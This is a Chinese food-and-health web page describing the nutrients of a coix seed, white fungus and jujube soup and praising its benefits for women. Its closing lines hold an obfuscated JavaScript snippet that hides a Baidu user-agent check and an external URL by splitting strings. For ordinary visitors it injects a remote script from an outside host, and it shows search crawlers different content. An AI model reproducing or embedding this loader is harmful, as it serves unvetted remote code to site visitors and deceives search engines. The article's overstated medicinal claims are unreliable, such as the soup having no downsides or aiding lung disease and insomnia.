當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

薏米銀耳紅棗的營養(yǎng)物質(zhì)

2017-07-11 18:56:25  來源:360常識網(wǎng)   熱度:
導(dǎo)語:對于薏米銀耳紅棗這些食材相信很多人都是比較了解的,尤其是女性朋友們知道這些食材的,這是由于經(jīng)常的會用薏米銀耳紅棗來煮湯喝的,如果是

對于薏米銀耳紅棗這些食材相信很多人都是比較了解的,尤其是女性朋友們知道這些食材的,這是由于經(jīng)常的會用薏米銀耳紅棗來煮湯喝的,如果是經(jīng)常的食用,的話對我們的身體是只有好處,沒有壞處的,尤其是紅棗本身顏色就比較鮮艷的,如果是煮湯喝的話就會讓人們特別的有食欲,惡化就可以增加人們的食欲的,而且里面的3種食材營養(yǎng)成分都是相當(dāng)豐富的。

薏米具有很高的營養(yǎng)價(jià)值,薏米中含有蛋白質(zhì)、脂肪、粗纖維、碳水化合物、礦物質(zhì)鈣、磷、鐵、維生素B1、維生素B2、煙酸、淀粉、賴氨酸、酪氨酸、亮氨酸、精氨酸、脂肪酸、苡仁酯、苡仁油、谷甾醇、生物堿等營養(yǎng)成分。其中蛋白質(zhì)、脂肪、維生素B1的含量遠(yuǎn)遠(yuǎn)高于大米。

銀耳的營養(yǎng)成分相當(dāng)豐富,在銀耳中含有蛋白質(zhì)、脂肪和多種氨基酸、礦物質(zhì)及肝糖。銀耳蛋白質(zhì)中含有17種氨基酸,人體所必需的氨基酸中的3/4銀耳都能提供。銀耳還含有多種礦物質(zhì),如鈣、磷、鐵、鉀、鈉、鎂、硫等,其中鈣、鐵的含量很高,在每百克銀耳中,含鈣643毫克,鐵30.4毫克。此外,銀耳中還含有海藻糖、多縮戊糖、甘露糖醇等肝糖,營養(yǎng)價(jià)值很高,具有扶正強(qiáng)壯的作用,是一種高級滋養(yǎng)補(bǔ)品。

紅棗味甘性溫、歸脾胃經(jīng),有補(bǔ)中益氣、養(yǎng)血安神、緩和藥性的功能;而現(xiàn)代的藥理學(xué)則發(fā)現(xiàn),紅棗含有蛋白質(zhì)、脂肪、醣類、有機(jī)酸、維生素A、維生素C、微量鈣多種?,F(xiàn)代藥理研究現(xiàn),紅棗能使血中含氧量增強(qiáng)、滋養(yǎng)全身細(xì)胞,是一種藥效緩和的強(qiáng)壯劑。

銀耳有滋陰、潤肺、養(yǎng)胃、生津、益氣、補(bǔ)腦、強(qiáng)心之功效。不但適宜于一切婦孺、病后體虛者,且對女性具有很好的嫩膚美容功效。紅棗也有安神健脾的功效,對女性非常好。薏米有利水消腫、健脾去濕、舒筋除痹、清熱排膿等功效,薏米使皮膚光滑,減少皺紋,消除色素斑點(diǎn)的功效。三種好食物搭一起,一碗營養(yǎng)美容的好甜湯,最適合女性朋友。新年開始了,給自己一碗甜湯,愛情甜甜蜜蜜,工作順利,聰明又美麗。?

尤其是銀耳還有滋陰養(yǎng)肺的作用,所以對一些肺部疾病的患者是有非常好的輔助治療的效果,特別是在夏天里面大家特別的容易出現(xiàn)上火的情況,這樣的話就可以多喝一些這樣的湯的,里面含有的物質(zhì)是可以達(dá)到安神的作用,能夠促進(jìn)大家的睡眠質(zhì)量,不會讓大家再次出現(xiàn)失眠的情況的。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}